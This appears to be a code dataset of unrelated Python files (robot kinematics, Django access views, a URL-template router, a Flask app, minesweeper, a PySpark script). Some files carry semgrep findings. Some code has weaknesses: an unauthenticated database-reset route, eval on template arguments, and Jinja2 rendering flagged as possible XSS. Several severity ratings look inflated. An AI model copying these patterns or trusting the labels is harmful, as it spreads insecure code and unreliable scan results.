x[5] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[5] - x[1]))) + x[1]
x[5] = np.dot(LElbowRollM, np.dot(LElbowYawM, x[5] - x[3])) + x[3]
return x
def UpperHalfComTrans(x, Theta):
#joint angles
LShoulderPitch = Theta[0]
LShoulderRoll = Theta[1]
RShoulderPitch = Theta[2]
RShoulderRoll = Theta[3]
LElbowYaw = Theta[4]
LElbowRoll = Theta[5]
RElbowYaw = Theta[6]
RElbowRoll = Theta[7]
#Rotation matrix
LShoulderPitchM = np.array([[cos(LShoulderPitch), 0, sin(LShoulderPitch)],
[0, 1, 0],
[-sin(LShoulderPitch), 0, cos(LShoulderPitch)]])
LShoulderRollM = np.array([[1, 0, 0],
[0, cos(LShoulderRoll), sin(LShoulderRoll)],
[0, -sin(LShoulderRoll), cos(LShoulderRoll)]])
RShoulderPitchM = np.array([[cos(RShoulderPitch), 0, sin(RShoulderPitch)],
[0, 1, 0],
[-sin(RShoulderPitch), 0, cos(RShoulderPitch)]])
RShoulderRollM = np.array([[1, 0, 0],
[0, cos(RShoulderRoll), sin(RShoulderRoll)],
[0, -sin(RShoulderRoll), cos(RShoulderRoll)]])
LElbowYawM = np.array([[cos(LElbowYaw), -sin(LElbowYaw), 0],
[sin(LElbowYaw), cos(LElbowYaw), 0],
[0, 0, 1]])
LElbowRollM = np.array([[cos(LElbowRoll), 0, sin(LElbowRoll)],
[0, 1, 0],
[-sin(LElbowRoll), 0, cos(LElbowRoll)]])
RElbowYawM = np.array([[cos(RElbowYaw), -sin(RElbowYaw), 0],
[sin(RElbowYaw), cos(RElbowYaw), 0],
[0, 0, 1]])
RElbowRollM = np.array([[cos(RElbowRoll), 0, sin(RElbowRoll)],
[0, 1, 0],
[-sin(RElbowRoll), 0, cos(RElbowRoll)]])
#Transformation
#x[0]: Torso, x[1]:Neck, x[2]:Head, x[3]:LShoulder, x[4]:RShoulder,
#x[5]:LBiceps, x[6]:RBiceps, x[7]:LElbow, x[8]:RElbow, x[9]:LForeArm,
#x[10]:RForeArm, x[11]:LHand, x[12]:RHand
#x[13]:left shoulder, x[14]:right shoulder, x[15]:left elbow, x[16]: right elbow
#x[4]
x[4] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[4] - x[14]))) + x[14]
#x[3]
x[3] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[3] - x[13]))) + x[13]
#x[5]
x[5] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[5] - x[13]))) + x[13]
#x[6]
x[6] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[6] - x[14]))) + x[14]
#x[7]
x[7] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[7] - x[13]))) + x[13]
#x[8]
x[8] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[8] - x[14]))) + x[14]
#x[15] and x[16] needed to be updated
x[15] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[15] - x[13]))) + x[13]
x[16] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[16] - x[14]))) + x[14]
#x[9]
x[9] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[9] - x[13]))) + x[13]
x[9] = np.dot(LElbowRollM, np.dot(LElbowYawM, x[9] - x[15])) + x[15]
#x[10]
x[10] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[10] - x[14]))) + x[14]
x[10] = np.dot(RElbowRollM, np.dot(RElbowYawM, x[10] - x[16])) + x[16]
#x[11]
x[11] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[11] - x[13]))) + x[13]
x[11] = np.dot(LElbowRollM, np.dot(LElbowYawM, x[11] - x[15])) + x[15]
#x[12]
x[12] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[12] - x[14]))) + x[14]
x[12] = np.dot(RElbowRollM, np.dot(RElbowYawM, x[12] - x[16])) + x[16]
return x
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} | 2.96875 | stackv2 | # ABC172c
def main():
import sys
import bisect
input = sys.stdin.readline
sys.setrecursionlimit(10**6)
# 再帰関数を使わない限りPypyで出すこと
def dump(*args):
sys.stderr.write(str(args))
n, m, k = map(int, input().split())
a = list(map(int, input().split()))
b = list(map(int, input().split()))
def cum(array): # result[i]=i番目まで（1-indexed）の累積和
result = [0]
for i in range(len(array)):
result.append(array[i]+result[i])
return result
bc = cum(b)
ac = cum(a)
ans = 0
for i in range(n + 1):
if ac[i] <= k:
#print(i, bisect.bisect_left(bc, k - ac[i])-1)
ans = max(ans, i + bisect.bisect_right(bc, k - ac[i])-1)
print(ans)
if __name__ == '__main__':
main()
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} | 2.40625 | stackv2 | from django.contrib.auth.decorators import login_required
from django.utils.decorators import method_decorator
from django.views.generic.base import View
from django.shortcuts import render
from .models import Project, Ticket, Log
class LoginRequiredView(View):
'''
This view can be visited only by authenticated users.
'''
@method_decorator(login_required)
def dispatch(self, *args, **kwargs):
return super(LoginRequiredView, self).dispatch(*args, **kwargs)
class UserPrivateView(View):
'''
This view can be visited only by single user (view owner).
'''
@method_decorator(login_required)
def dispatch(self, *args, **kwargs):
if not self.request.user == self.get_object():
return render(self.request, 'access-denied.html')
return super(UserPrivateView, self).dispatch(*args, **kwargs)
class SuperUserView(View):
'''
This view can be visited only by superusers.
'''
@method_decorator(login_required)
def dispatch(self, *args, **kwargs):
if not self.request.user.is_superuser:
return render(self.request, 'access-denied.html')
return super(SuperUserView, self).dispatch(*args, **kwargs)
class ProjectReletedView(View):
url_pk_related_model = Project
project = None
def get_project(self):
'''
Based on self.url_pk_related_model get project instance and set it as self.project.
'''
if self.project:
# project is already available
return
model_instance = self.url_pk_related_model.objects.get(pk=self.kwargs['pk'])
if isinstance(model_instance, Project):
self.project = model_instance
elif isinstance(model_instance, Ticket):
self.project = model_instance.project
elif isinstance(model_instance, Log):
self.project = model_instance.ticket.project
else:
raise ValueError
def is_project_member(self):
self.get_project()
return self.request.user.is_superuser or self.request.user in self.project.members.all()
class ProjectView(ProjectReletedView):
'''
If project IS PRIVATE give access to:
- project members
- superusers
'''
@method_decorator(login_required)
def dispatch(self, *args, **kwargs):
self.get_project()
if self.project.is_private and not self.is_project_member():
return render(self.request, 'access-denied.html')
return super(ProjectView, self).dispatch(*args, **kwargs)
class MembersOnlyView(ProjectReletedView):
'''
This view can be visited only by:
- project members
- superusers
'''
@method_decorator(login_required)
def dispatch(self, *args, **kwargs):
if not self.is_project_member():
return render(self.request, 'access-denied.html')
return super(MembersOnlyView, self).dispatch(*args, **kwargs)
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} | 2.53125 | stackv2 | # -*- coding: utf-8 -*-
import six
if six.PY2:
from urllib import quote, unquote
else:# pragma: no cover
from urllib.parse import quote, unquote
import re
import logging
from .url_converters import default_converters, ConvertError
logger = logging.getLogger(__name__)
def urlquote(value):
if isinstance(value, six.integer_types):
value = six.text_type(value)
return quote(value.encode('utf-8'))
class UrlBuildingError(Exception): pass
_split_pattern = re.compile(r'(<[^<]*>)')
#NOTE: taken from werkzeug
_converter_pattern = re.compile(r'''^<
(?:
(?P<converter>[a-zA-Z_][a-zA-Z0-9_]+) # converter name
(?:\((?P<args>.*?)\))? # converter args
\: # delimiter
)?
(?P<variable>[a-zA-Z_][a-zA-Z0-9_]*) # variable name
>$''', re.VERBOSE | re.U)
_static_url_pattern = re.compile(r'^[^<]*?$')
def construct_re(url_template, match_whole_str=False, converters=None,
default_converter='string', anonymous=False):
'''
url_template - str or unicode representing template
Constructed pattern expects urlencoded string!
returns (compiled re pattern,
dict {url param name: [converter name, converter args (str)]},
list of (variable name, converter name, converter args name))
If anonymous=True is set, regexp will be compiled without names of variables.
This is handy for example, if you want to dump an url map to JSON.
'''
# needed for reverse url building (or not needed?)
builder_params = []
# found url params and their converters
url_params = {}
result = r'^'
parts = _split_pattern.split(url_template)
for i, part in enumerate(parts):
is_url_pattern = _static_url_pattern.match(part)
if is_url_pattern:
#NOTE: right order:
# - make part str if it was unicode
# - urlquote part
# - escape all specific for re chars in part
result += re.escape(urlquote(part))
builder_params.append(part)
continue
is_converter = _converter_pattern.match(part)
if is_converter:
groups = is_converter.groupdict()
converter_name = groups['converter'] or default_converter
conv_object = init_converter(converters[converter_name],
groups['args'])
variable = groups['variable']
builder_params.append((variable, conv_object))
url_params[variable] = conv_object
if anonymous:
result += conv_object.regex
else:
result += '(?P<{}>{})'.format(variable, conv_object.regex)
continue
raise ValueError('Incorrect url template {!r}'.format(url_template))
if match_whole_str:
result += '$'
return re.compile(result), url_params, builder_params
def init_converter(conv_class, args):
if args:
#XXX: taken from werkzeug
storage = type('_Storage', (), {'__getitem__': lambda s, x: x})()
args, kwargs = eval(u'(lambda *a, **kw: (a, kw))({})'.format(args),
{}, storage)
return conv_class(*args, **kwargs)
return conv_class()
class UrlTemplate(object):
def __init__(self, template, match_whole_str=True, converters=None,
default_converter='string'):
self.template = template
self.match_whole_str = match_whole_str
self._allowed_converters = self._init_converters(converters)
self._pattern, self._url_params, self._builder_params = \
construct_re(template,
match_whole_str=match_whole_str,
converters=self._allowed_converters,
default_converter=default_converter)
def match(self, path, **kw):
'''
path - str (urlencoded)
'''
m = self._pattern.match(path)
if m:
kwargs = m.groupdict()
# convert params
for url_arg_name, value_urlencoded in kwargs.items():
conv_obj = self._url_params[url_arg_name]
unicode_value = unquote(value_urlencoded)
if isinstance(unicode_value, six.binary_type):
# XXX ??
unicode_value = unicode_value.decode('utf-8', 'replace')
try:
kwargs[url_arg_name] = conv_obj.to_python(unicode_value, **kw)
except ConvertError as err:
logger.debug('ConvertError in parameter "%s" '
'by %r, value "%s"',
url_arg_name,
err.converter.__class__,
err.value)
return None, {}
return m.group(), kwargs
return None, {}
def __call__(self, **kwargs):
'Url building with url params values taken from kwargs. (reverse)'
result = ''
for part in self._builder_params:
if isinstance(part, tuple):
var, conv_obj = part
try:
value = kwargs[var]
except KeyError:
if conv_obj.default is not conv_obj.NotSet:
value = conv_obj.default
else:
raise UrlBuildingError('Missing argument for '
'URL builder: {}'.format(var))
result += conv_obj.to_url(value)
else:
result += part
# result - unicode not quotted string
return result
def _init_converters(self, converters):
convs = default_converters.copy()
if converters is not None:
convs.update(converters)
return convs
def __eq__(self, other):
return self.template == other.template and \
self.match_whole_str == other.match_whole_str
def __repr__(self):
return '{}({!r}, match_whole_str={!r})'.format(
self.__class__.__name__, self.template,
self.match_whole_str)
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] | [
5
] | [
"LOW"
] | [
"HIGH"
] | url_templates.py | /iktomi/web/url_templates.py | SmartTeleMax/iktomi | MIT | |
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} | 3 | stackv2 | """app/flask_app.py"""
import os
from flask import Flask, render_template, request
from twitcomp.models import DB, User
from twitcomp.twitter import add_or_update_user
from twitcomp.predict import predict_twitter
import commands
def create_app():
app = Flask(__name__) # __name__: current path module
env_configuration = os.environ['APP_SETTINGS']
app.config.from_object(env_configuration)
"""
For heroku deploy. Accordingly, add config var through CLI: $ heroku config:set APP_SETTINGS:config.ProductionConfig
"""
# print(app.config) # shows the dictionary of configuration
DB.init_app(app) # register database with flask app
commands.init_app(app) # register commands with flask app
@app.route('/reset')
def reset():
DB.drop_all()
DB.create_all()
return render_template('base.html', title='Database reset')
@app.route('/')
def root():
users = User.query.all()
return render_template('base.html', title='twitcomp_main', users=users)
# page show added/updated user
@app.route('/user', methods=["POST"])
@app.route('/user/<name>', methods=["GET"])
def user(name=None, message=''):
# we either take name that was passed in or we pull it
# from our request.values which would be accessed through the
# user submission
name = name or request.values['user_name']
try:
if request.method == 'POST':
add_or_update_user(name)
message = "User {} Succesfully added!".format(name)
tweets = User.query.filter(User.name == name).one().tweets
except Exception as e:
message = "********* Error adding {}: {}".format(name, e)
tweets = []
return render_template("user.html", title=name, tweets=tweets, message=message)
# The comparison result page
@app.route('/compare', methods=["POST"])
def compare():
user0, user1 = sorted(
[request.values['user0'], request.values["user1"]])
if user0 == user1:
message = "Cannot compare users to themselves!"
else:
# prediction returns a 0 or 1
prediction = predict_twitter(
user0, user1, request.values["tweet_text"])
message = "'{}' is more likely to be said by {} than {}!".format(
request.values["tweet_text"],
user1 if prediction else user0,
user0 if prediction else user1
)
return render_template('prediction.html', title="Prediction", message=message)
return app | 79 | 32.65 | 120 | 18 | 571 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_ccac060617db6374_6ac7a4c0", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `reset` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 25, "line_end": 29, "column_start": 5, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/ccac060617db6374.py", "start": {"line": 25, "col": 5, "offset": 738}, "end": {"line": 29, "col": 68, "offset": 897}, "extra": {"message": "function `reset` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_ccac060617db6374_920d4ce7", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `root` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 34, "column_start": 5, "column_end": 80, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/ccac060617db6374.py", "start": {"line": 31, "col": 5, "offset": 904}, "end": {"line": 34, "col": 80, "offset": 1052}, "extra": {"message": "function `root` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_ccac060617db6374_8f0f64e4", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `user` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 54, "column_start": 5, "column_end": 88, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/ccac060617db6374.py", "start": {"line": 37, "col": 5, "offset": 1097}, "end": {"line": 54, "col": 88, "offset": 1878}, "extra": {"message": "function `user` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_ccac060617db6374_675441ea", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `compare` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 76, "column_start": 5, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/ccac060617db6374.py", "start": {"line": 57, "col": 5, "offset": 1917}, "end": {"line": 76, "col": 87, "offset": 2640}, "extra": {"message": "function `compare` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
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} | 3.34375 | stackv2 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Библиотека графического интерфейса Tk
import tkinter, tkinter.messagebox
# Генератор псевдослучайных чисел
from random import randrange
##### КЛАСС CELL #####
class Cell(object):
"""Представляет ячейку игрового поля"""
def __init__(self, field, x, y):
# Игровое поле
self.__field = field
# Количество флагов вокруг ячейки
self.__flag_count = 0
# Помечена ли ячейка флагом
self.__is_flagged = False
# Находится ли в ячейке мина
self.__is_mine = False
# Открыта ли ячейка
self.__is_opened = False
# Количество мин вокруг ячейки
self.__mine_count = 0
# Координаты ячейки в игровом поле
self.__x = x
self.__y = y
# Соседствующие с данной ячейки
self.__sides = [
(
# ...
# ?X.
# ...
self.x > 0,
(self.x - 1, self.y)
),
(
# ?..
# .X.
# ...
self.x > 0 and self.y > 0,
(self.x - 1, self.y - 1)
),
(
# .?.
# .X.
# ...
self.y > 0,
(self.x, self.y - 1)
),
(
# ..?
# .X.
# ...
self.x < self.__field.x - 1 and self.y > 0,
(self.x + 1, self.y - 1)
),
(
# ...
# .X?
# ...
self.x < self.__field.x - 1,
(self.x + 1, self.y)
),
(
# ...
# .X.
# ..?
self.x < self.__field.x - 1 and self.y < self.__field.y - 1,
(self.x + 1, self.y + 1)
),
(
# ...
# .X.
# .?.
self.y < self.__field.y - 1,
(self.x, self.y + 1)
),
(
# ...
# .X.
# ?..
self.x > 0 and self.y < self.__field.y - 1,
(self.x - 1, self.y + 1)
)
]
@property
def flag_count(self):
"""Количество флагов вокруг данной ячейки"""
return self.__flag_count
@flag_count.setter
def flag_count(self, value):
"""Количество флагов вокруг данной ячейки"""
has_changed = (value != self.flag_count)
if not has_changed: return
self.__flag_count = value
@property
def is_flagged(self):
"""Помечена ли ячейка флагом"""
return self.__is_flagged
@is_flagged.setter
def is_flagged(self, value):
"""Помечена ли ячейка флагом"""
has_changed = (value != self.is_flagged)
if not has_changed or self.is_opened:
return
self.__is_flagged = value
if value:
delta = 1
else:
delta = -1
self.__execute_around(Cell.__is_flagged_lambda, delta)
for callback in self.__field.change_callbacks:
callback(self)
@staticmethod
def __is_flagged_lambda(cell, delta):
"""Обновляет количество флагов для указанной ячейки"""
cell.flag_count += delta
@property
def is_mine(self):
"""Находится ли в ячейке мина"""
return self.__is_mine
@is_mine.setter
def is_mine(self, value):
"""Находится ли в ячейке мина"""
has_changed = (value != self.is_mine)
if not has_changed: return
self.__is_mine = value
if value:
delta = 1
else:
delta = -1
self.__execute_around(Cell.__is_mine_lambda, delta)
@staticmethod
def __is_mine_lambda(cell, delta):
"""Обновляет количество флагов для указанной ячейки"""
cell.mine_count += delta
@property
def is_opened(self):
"""Открыта ли ячейка"""
return self.__is_opened
@is_opened.setter
def is_opened(self, value):
"""Открыта ли ячейка"""
has_changed = (value != self.__is_opened)
if not has_changed: return
self.__is_opened = value
if value:
delta = 1
else:
delta = -1
self.__field.opened_count += delta
for callback in self.__field.change_callbacks:
callback(self)
@property
def mine_count(self):
"""Количество мин вокруг данной ячейки"""
return self.__mine_count
@mine_count.setter
def mine_count(self, value):
"""Количество мин вокруг данной ячейки"""
has_changed = (value != self.mine_count)
if not has_changed or self.is_mine:
return
self.__mine_count = value
if self.is_opened:
for callback in self.__field.change_callbacks:
callback(self)
@property
def x(self):
"""Координата ячейки по оси X (начиная с 0)"""
return self.__x
@property
def y(self):
"""Координата ячейки по оси Y (начиная с 0)"""
return self.__y
def open(self, is_chain = False):
"""Открывает эту ячейку и те, что вокруг неё с учётом флагов"""
if (self.is_flagged) or (is_chain and self.is_opened):
return True
self.is_opened = True
if self.is_mine:
if self.__field.explosion is None:
self.__field.explosion = (self.x, self.y)
return False
if self.flag_count >= self.mine_count:
return self.__execute_around(
lambda cell, arg: cell.open(arg),
True,
acc_fun = lambda a, b: a & b,
acc_def = True
)
return True
def __execute_around(self, func, arg, acc_fun = None, acc_def = None):
"""Выполняет функцию для каждой ячейки вокруг данной"""
output = acc_def
for side in self.__sides:
has_cell, coords = side
if not has_cell:
continue
result = func(self.__field.cells[coords[1]][coords[0]], arg)
if acc_fun is not None:
output = acc_fun(result, output)
return output
def __repr__(self):
"""Возвращает текстовое представление ячейки"""
if self.is_mine:
return '*'
elif self.mine_count == 0:
return '.'
else:
return str(self.mine_count)
##### КЛАСС FIELD #####
class Field(object):
"""Представляет игровое поле"""
def __init__(self, x, y, mines):
self.__cell_count = x * y
self.__explosion = None
self.__is_initialized = False
self.__mines = mines
self.__need_opened = (x * y) - mines
self.__opened_count = 0
self.__x = x
self.__y = y
self.cells = [
[Cell(self, xi, yi) for xi in range(self.x)]
for yi in range(self.y)
]
# Функции, вызываемые при изменении состояния ячейки
self.change_callbacks = []
@property
def explosion(self):
"""Определяет ячейку, в которой произошёл первый взрыв"""
return self.__explosion
@explosion.setter
def explosion(self, value):
"""Определяет ячейку, в которой произошёл первый взрыв"""
has_changed = (value != self.explosion)
if not has_changed:
return
self.__explosion = value
for callback in self.change_callbacks:
callback(self.cells[value[1]][value[0]])
@property
def has_won(self):
"""Определяет, выиграл ли игрок"""
return self.opened_count == self.__need_opened
@property
def is_initialized(self):
"""Определяет, было ли инициализировано игровое поле"""
return self.__is_initialized
@property
def opened_count(self):
"""Количество открытых ячеек поля"""
return self.__opened_count
@opened_count.setter
def opened_count(self, value):
"""Количество открытых ячеек поля"""
self.__opened_count = value
@property
def x(self):
"""Размер поля по оси X"""
return self.__x
@property
def y(self):
"""Размер поля по оси Y"""
return self.__y
def initialize(self):
"""Расставляет мины по полю в соответствии с указанным количеством"""
if self.is_initialized:
return
cell_list = []
for yi in range(self.y):
for xi in range(self.x):
if self.cells[yi][xi].is_opened:
continue
cell_list.append((xi, yi))
for _ in range(self.__mines):
index = randrange(len(cell_list))
coord = cell_list[index]
self.cells[coord[1]][coord[0]].is_mine = True
cell_list.pop(index)
self.__is_initialized = True
def open_all(self):
"""Открывает все ячейки игрового поля"""
for yi in range(self.y):
for xi in range(self.x):
self.cells[yi][xi].is_opened = True
def __repr__(self):
"""Возвращает строковое представление игрового поля"""
output = ''
for yi in range(self.y):
for xi in range(self.x):
output += str(self.cells[yi][xi])
output += '\n'
return output
##### КЛАСС GAMETK #####
class GameTk(object):
"""Описывает игру в рамках графического интерфейса Tk"""
def __init__(self, x, y, mines):
self.__x = x
self.__y = y
self.__mines = mines
self.__field = Field(x, y, mines)
self.__field.change_callbacks.append(self.cell_update_callback)
self.__window = tkinter.Tk()
self.__window.resizable(0,0)
self.__window.title('Сапёр')
frame = tkinter.Frame(self.__window)
frame.pack()
self.__cell_img = {
'closed': tkinter.PhotoImage(file = 'img/cell_closed.gif'),
'explosion': tkinter.PhotoImage(file = 'img/cell_explosion.gif'),
'flag': tkinter.PhotoImage(file = 'img/cell_flag.gif'),
'mine': tkinter.PhotoImage(file = 'img/cell_mine.gif'),
'mineflag': tkinter.PhotoImage(file = 'img/cell_mineflag.gif')
}
for i in range(9):
self.__cell_img[i] = tkinter.PhotoImage(file = 'img/cell_{}.gif'.format(i))
self.__buttons = []
for yi in range(y):
row = []
for xi in range(x):
button = tkinter.Button(
frame,
image = self.__cell_img['closed']
)
button.coords = (xi, yi)
button.bind('<Button-1>', self.__button_leftclick)
button.bind('<Button-2>', self.__button_rightclick)
button.bind('<Button-3>', self.__button_rightclick)
button.grid(row = yi, column = xi)
row.append(button)
self.__buttons.append(row)
caption = tkinter.Label(
frame,
text = 'Автор: Фостер Сноухилл, гр. 7-АиСн-4, Московский политех'
)
caption.grid(row = y, column = 0, columnspan = x)
self.center()
self.__window.focus()
self.__window.mainloop()
def __button_leftclick(self, event):
"""Обрабатывает щелчок левой кнопки мыши по ячейке"""
(x, y) = event.widget.coords
cell = self.__field.cells[y][x]
if not self.__field.is_initialized:
cell.is_opened = True
self.__field.initialize()
print(self.__field)
result = cell.open()
self.__window.update_idletasks()
if not result:
self.__field.open_all()
coords = self.__field.explosion
cell = self.__field.cells[coords[1]][coords[0]]
self.cell_update_callback(cell)
self.__window.update_idletasks()
tkinter.messagebox.showinfo('Сапёр', 'Игра окончена. Вы проиграли :(')
self.__window.quit()
elif self.__field.has_won:
self.__field.open_all()
self.__window.update_idletasks()
tkinter.messagebox.showinfo('Сапёр', 'Игра окончена. Вы выиграли! :D')
self.__window.quit()
def __button_rightclick(self, event):
"""Обрабатывает щелчок правой кнопки мыши"""
if not self.__field.is_initialized:
return
(x, y) = event.widget.coords
cell = self.__field.cells[y][x]
if cell.is_opened:
return
cell.is_flagged = not cell.is_flagged
def cell_update_callback(self, cell):
"""Обновляет визуальное состояние ячейки"""
button = self.__buttons[cell.y][cell.x]
if cell.is_opened:
if self.__field.explosion == (cell.x, cell.y):
button.config(image = self.__cell_img['explosion'])
elif cell.is_mine:
if cell.is_flagged:
button.config(image = self.__cell_img['mineflag'])
else:
button.config(image = self.__cell_img['mine'])
else:
button.config(image = self.__cell_img[cell.mine_count])
else:
if cell.is_flagged:
button.config(image = self.__cell_img['flag'])
else:
button.config(image = self.__cell_img['closed'])
def center(self):
"""Выравнивает окно по центру экрана"""
self.__window.update_idletasks()
w = self.__window.winfo_screenwidth()
h = self.__window.winfo_screenheight()
size = tuple(int(_) for _ in self.__window.geometry().split('+')[0].split('x'))
x = w / 2 - size[0] / 2
y = h / 2 - size[1] / 2
self.__window.geometry("%dx%d+%d+%d" % (size + (x, y)))
if __name__ == '__main__':
GameTk(16, 16, 32)
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} | 2.859375 | stackv2 | import glob
import re
import jinja2
import ruamel.yaml as yaml
import config
_CREDITS_TEMPLATE = """\
# {{country.flag}} Photo credits for flags of {{country.name}} ({{country.code}})
{% if photos is iterable -%}
{% for photo in photos %}
- `{{photo.filename}}` by {{photo.author}}, licensed under the {{photo.license}} license ([source]({{photo.url}}))
{%- endfor %}
{% else %}
No photos added
{% endif %}
"""
def _create_markdown_from_yaml(yaml_file_path: str):
"""
Creates photo credits file in Markdown from a YAML file, based on
predefined template.
:param yaml_file_path: a file path of a YAML file which is used
as a data input source
"""
markdown_file_path = re.sub(r'\.ya?ml', '.md', yaml_file_path)
with open(yaml_file_path) as yaml_file, open(markdown_file_path, 'w') as markdown_file:
data = yaml.load(yaml_file, Loader=yaml.Loader)
template = jinja2.Template(_CREDITS_TEMPLATE)
markdown_file.write(template.render(data))
if __name__ == '__main__':
for country_folder in glob.glob(f'{config.DATASET_FOLDER}/*/'):
_create_markdown_from_yaml(f'{country_folder}credits.yml')
| 40 | 28.3 | 116 | 12 | 293 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_3087dcf1815ccec3_8e54d525", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. 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If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-79"
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"rules.python.flask.security.xss.audit.direct-use-of-jinja2"
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"security"
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] | [
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] | credits.py | /utils/credits.py | Tamjid2000/flagnet | MIT | |
2024-11-18T18:16:05.363280+00:00 | 1,544,201,063,000 | 94823027296f9e34a30dbb5078c9543ff6a29c19 | 3 | {
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"visit_date": "2020-03-27T18:09:32.746199"
} | 3.03125 | stackv2 | from pyspark import SparkConf, SparkContext
def loadMovies():
movieNames = {}
with open ("/ml-100k/u.item") as f:
for line in f:
fields = line.split('|')
movieNames[int(fields[0])] = fields[1]
return movieNames
def parseInput(line):
fields = line.split('\t')
return (int(fields[1]), (float(fields[2]),1.0))
if __name__ == "__main__":
# The main script - Create SparkContext
conf = SparkConf().setappname("Worstmovies")
sc = SparkContext(conf=conf)
# Load up movienames based on movieID
movieNames = loadMovies()
# Laod up the raw DataFile u.data
lines = sc.TextFile("hdfs:///user/maria_dev/ml-100k/u.data")
# Convert to (movieID, (ratings, 1.0))
ratingsData = lines.map(parseInput)
# Reduce to (movieID, (sum of ratings, total number of ratings))
ratingsTotalAndCount = ratingsData.reduceByKey(lambda movie1, movie2: (movie1[0]+movie2[0],movie1[1]+movie2[1]))
# Reduce to (movieID, avg of ratings)
ratingsAverage = ratingsTotalAndCount.mapValues(lambda totalcount: totalcount[0]/totalcount[1])
# Sort by average - x[1] - because the second column has average
sortedMovies = ratingsAverage.sortBy(lambda x: x[1])
results = sortedMovies.take(10)
for result in results:
print movieNames[result[0]], results[1]
| 42 | 31.07 | 116 | 14 | 371 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f7a35a2e71699c1f_7ea639de", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. 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} | 3.125 | stackv2 | import subprocess
